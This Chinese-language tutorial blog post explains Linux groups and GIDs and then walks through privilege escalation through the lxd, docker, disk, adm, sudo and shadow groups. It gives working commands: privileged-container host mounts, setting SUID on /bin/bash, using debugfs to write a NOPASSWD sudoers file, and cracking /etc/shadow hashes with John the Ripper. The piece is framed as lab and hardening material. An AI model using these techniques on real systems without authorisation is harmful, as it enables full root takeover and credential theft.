在 Linux 系统中,组 ID(Group ID,简称 GID) 是用于唯一标识用户组的数字标识符。每个用户组都与一个 GID 关联,系统通过 GID 实现用户组的权限分配与访问控制。理解 GID 的工作机制以及与之相关的特权组提权漏洞,不仅有助于管理员优化系统安全配置,还能有效防范潜在的权限提升攻击。本文将详细介绍 Linux 用户组的管理方法、常见特权组及其功能,以及攻击者如何利用特权组实现提权。
一、用户组与 GID 的基础知识
1.1 配置文件
Linux 系统中,用户和组的信息存储在以下核心配置文件中:
/etc/passwd:记录用户账户信息,包括用户 ID(UID)、主组 GID、用户主目录、默认 Shell 等。/etc/group:存储用户组信息,包括组名、GID、组成员列表等。/etc/shadow:存储用户密码哈希,与权限管理间接相关,通常仅 root 可读。/etc/gshadow:记录组密码和组管理员信息,辅助权限管理。
这些文件是 Linux 用户和组管理的核心,管理员需严格控制其权限(通常 root 可读写,普通用户只读或无权限),以防止未经授权的访问或修改。
1.2 查看组与 GID 的方法
以下是查看系统组信息和用户组归属的常用命令:
-
查看所有组信息 使用
cat /etc/group命令可查看系统中所有用户组的详细信息:cat /etc/group输出示例:
root:x:0:root adm:x:4:syslog,john docker:x:999:jane,root sudo:x:27:root,john wheel:x:10:admin disk:x:6:root,john tty:x:5:root每行格式为:
组名:密码占位符:GID:成员列表。 -
查看特定用户的组归属 使用
groups命令查看某用户所属的所有组:groups john输出示例:
john : john adm sudo docker表示用户
john属于john(主组)、adm、sudo和docker组。 -
查看用户的 UID 和 GID 使用
id命令获取用户的 UID、主 GID 及所有所属组的 GID:id john输出示例:
uid=1000(john) gid=1000(john) groups=1000(john),4(adm),27(sudo),999(docker)
1.3 常见系统组及其功能
Linux 系统中存在多个默认用户组,各自承担特定功能。以下是常见的系统组、描述及默认 GID:
| 组名 | 描述 | 默认 GID |
|---|---|---|
| root | 超级用户组,拥有系统最高权限,通常为系统管理员所属组。 | 0 |
| sys | 系统管理组,涉及硬件设备操作和系统服务管理。 | 3 |
| adm | 系统日志组,成员可访问系统日志文件(如 /var/log/syslog)。 |
4 |
| tty | 终端设备组,控制终端设备访问权限。 | 5 |
| disk | 磁盘设备组,成员可直接操作磁盘分区和设备。 | 6 |
| 邮件服务组,涉及邮件服务器配置和管理。 | 8 | |
| wheel | 特权命令组,成员可通过 su 或 sudo 执行管理员命令。 |
10 |
| docker | Docker 容器管理组,成员可运行和管理 Docker 容器。 | 999 |
| sudo | 特权操作组,成员可通过 sudo 执行特权命令,与 wheel 功能类似。 |
27 |
| games | 游戏相关组,授予游戏应用的访问权限。 | 60 |
| staff | 普通管理员组,成员可安装和管理软件。 | 50 |
| users | 默认普通用户组,非特权用户的通用归属组。 | 100 |
| lxd | LXD 容器管理组,成员可管理 LXD 系统容器。 | 101 |
| network | 网络设备组,涉及网络配置和设备管理。 | 101 |
| plugdev | 外部设备组,成员可挂载和访问 USB 等外部存储设备。 | 46 |
| audio | 音频设备组,成员可访问音频硬件。 | 70 |
| video | 视频设备组,成员可访问摄像头或显示设备等视频硬件。 | 44 |
| cdrom | 光驱设备组,成员可访问光驱设备。 | 24 |
| power | 电源管理组,成员可执行关机、重启等电源操作。 | 98 |
| storage | 存储设备组,成员可管理硬盘和存储设备。 | 118 |
二、常见特权组提权利用
特权组的不当配置可能导致权限提升漏洞。攻击者通过加入特权组(如 sudo、docker、disk 等)或利用组权限,获取更高权限甚至 root 权限。以下是几种常见的特权组提权方式及其利用方法。
2.1 LXD 组提权
LXD(Linux Container Hypervisor)是一款轻量级系统容器管理工具,类似于Docker,但更侧重于系统级容器,支持运行特权容器。若系统中LXD配置不当(如允许普通用户创建特权容器),攻击者一旦加入lxd组,即可通过创建特权容器、挂载宿主机根目录,实现容器逃逸,获取宿主机root权限。
提权步骤:
- 导入 Alpine 镜像:
lxc image import ./alpine.tar.gz --alias myimage - 初始化 LXD(默认配置):
lxd init - 创建特权容器:
lxc init myimage ignite -c security.privileged=true - 挂载宿主机根目录:
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true - 启动并进入容器:
lxc start ignite lxc exec ignite /bin/sh
在容器内的 /mnt/root 目录即为宿主机根目录,攻击者可完全控制宿主机文件系统,执行任意操作。
2.2 Docker 组提权
Docker是目前最流行的容器化工具,系统中加入docker组的用户,可无需sudo权限直接执行docker命令(如启动容器、挂载文件系统)。若攻击者加入docker组,可利用Docker的容器挂载功能,将宿主机根目录挂载到容器内,通过chroot命令切换到宿主机文件系统,修改关键文件实现提权。
提权示例:
low@vulnyx:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# chmod 4755 /bin/bash
# exit
low@vulnyx:~$ /bin/bash -pi
此命令将宿主机根目录挂载到容器内的 /mnt,攻击者通过 chroot 访问宿主机文件系统,并可修改关键文件(如赋予 /bin/bash SUID 权限),从而获得 root 权限。
2.3 Disk 组提权
disk组是风险较高的特权组之一,其成员可直接操作磁盘设备和分区,能够绕过文件系统的权限控制,直接读写磁盘上的所有文件。攻击者可利用disk组的权限,通过debugfs(磁盘调试工具)直接修改系统关键文件,实现提权。
注意事项: debugfs 工具通常位于/sbin目录下,而普通用户的环境变量中可能不包含该目录,因此需使用完整路径(/usr/sbin/debugfs或/sbin/debugfs)执行命令。
提权示例:
通过 debugfs 修改/etc/sudoers.d目录下的文件,添加无密码sudo权限:
/usr/sbin/debugfs -w /dev/sda1
debugfs: write /tmp/a /etc/sudoers.d/a
Allocated inode: 23
debugfs: link <23> /etc/sudoers.d/a
debugfs: cat /etc/sudoers.d/a
ALL ALL=(ALL) NOPASSWD: ALL
debugfs: quit
命令解读:
-
/usr/sbin/debugfs -w /dev/sda1:以可写模式(-w)启动debugfs,指定操作的磁盘分区为/dev/sda1(通常为系统根分区,可通过df -h命令查看)。 -
write /tmp/a /etc/sudoers.d/a:将/tmp/a文件(提前创建,内容为“ALL ALL=(ALL) NOPASSWD: ALL”)写入到/etc/sudoers.d/a文件中。 -
link <23> /etc/sudoers.d/a:建立inode链接,确保文件写入生效。( write 命令在 debugfs 中有一个非常坑的特性:它只负责把数据写入磁盘块并分配 Inode,但不会自动在目录索引中创建文件名链接。也就是说,数据确实进去了,但系统找不到它。)
提权结果:文件写入成功后,所有用户均可无密码执行sudo命令:
bash-5.0$ sudo -l
Matching Defaults entries for root on Disk:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ll may run the following commands on Disk:
(ALL) NOPASSWD: ALL
2.4 Adm 组提权
adm组的核心权限是读取系统日志文件,虽然无法直接获取root权限,但攻击者可通过读取日志文件,提取敏感信息(如用户登录密码、sudo操作记录、系统配置信息等),再结合其他漏洞实现提权,属于“信息收集型”提权方式。
提权示例:
cat /var/log/auth.log # 查看登录日志(SSH、sudo)
grep "CRON" /var/log/syslog # 查看计划任务日志
grep --color -Eri "pass|password" /var/log 2>/dev/null
攻击者可结合密码破解工具(如 John the Ripper)从日志中提取密码哈希并破解账户密码。
adm组可读的关键日志文件:
-
/var/log/auth.log:系统认证日志,记录所有用户登录(SSH、控制台)、sudo操作、密码验证等信息,是最具价值的日志文件。 -
/var/log/kern.log:内核日志,记录内核运行状态、硬件设备异常、驱动信息等,可能包含敏感的系统配置。 -
/var/log/dmesg:内核启动日志,记录系统启动过程中的内核信息,可用于了解系统硬件配置和启动流程。 -
/var/log/mail.log:邮件服务日志,记录邮件发送、接收情况,若存在邮件密码明文记录,可直接获取账户信息。 -
/var/log/cron.log:计划任务日志,记录定时执行的命令,若存在以root权限执行的计划任务,可尝试篡改任务内容实现提权。
2.5 Sudo 组提权
sudo组成员可通过 sudo 或 su 执行特权命令。若 sudo 配置不当,攻击者可直接提权至 root。
提权示例:
sudo -i
攻击者通过此命令获得 root shell,控制整个系统。
2.6 Shadow 组提权
shadow 组成员可读取 /etc/shadow 文件,该文件存储了所有用户的密码哈希值,虽然shadow组成员无法修改该文件,但可通过读取密码哈希,结合密码破解工具破解出明文密码,进而获得高权限。
检测:
low@vulnyx:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),42(shadow)
low@vulnyx:~$ ls -l /etc/shadow
-rw-r----- 1 root shadow 719 mar 27 08:04 /etc/shadow
利用:
low@vulnyx:~$ cat /etc/shadow | grep "\$y" | awk -F: '{print $1 $2}'
root$y$j9T$IwIIKD8L9jCb0lqWAWgB/0$OBiTPAluE/7llChagMz3WMBQR9ws4v1OWPwk/SyHqzD
user$y$j9T$JT/GEG2SlAAxdRYVRwob0.$P/Nsg/JHeFdXy1/.MDUDbcHKUAe8BeEXVrsQJm1.T7/
密码破解: 使用 John the Ripper 破解密码哈希:
john --wordlist=/opt/rockyou.txt crack --format=crypt
输出示例:
rockyou (root)
123456 (user)
2.7 其他特权组提权
除上述常见特权组外,Linux系统中还有部分特权组,虽然提权场景相对特殊,但配置不当也可能被攻击者利用:
-
video组(GID 44):该组成员可访问摄像头、显示器等视频设备,在部分靶场或特殊场景中,攻击者可利用该组权限,捕获其他终端设备的画面(如管理员操作界面),提取敏感信息(如密码、配置命令),进而实现提权。
-
fail2ban组:fail2ban是一款用于防止暴力破解的工具,该组成员可修改fail2ban的配置规则(如禁用SSH暴力破解防护、添加白名单)。攻击者加入该组后,可篡改配置规则,解除系统安全防护,进而通过暴力破解等方式获取高权限。
-
power组(GID 98):该组成员可执行关机、重启等电源操作,虽然无法直接获取root权限,但可通过恶意重启系统、中断系统服务,制造系统异常,进而利用系统重启后的漏洞实现提权。
总结
组 ID(GID)是 Linux 系统中权限管理和用户组区分的核心机制。正确配置 GID 可有效提升系统安全性,而不当配置则可能为攻击者提供权限提升的途径。通过深入了解常见特权组(如 root、docker、disk、adm 和 wheel)的功能与潜在风险,管理员能够制定更安全的权限策略。
为确保系统安全,建议遵循最小权限原则,严格控制特权组成员,定期审计组配置,并结合容器隔离、日志监控等措施降低潜在风险。只有在权限分配与安全防护并重的情况下,Linux 系统才能在复杂环境中保持稳定与安全。
参考资料:
- HackTricks: Linux Privilege Escalation via Interesting Groups
- HackTricks: Linux Privilege Escalation
原文 https://blog.csdn.net/2301_79518550/article/details/145452956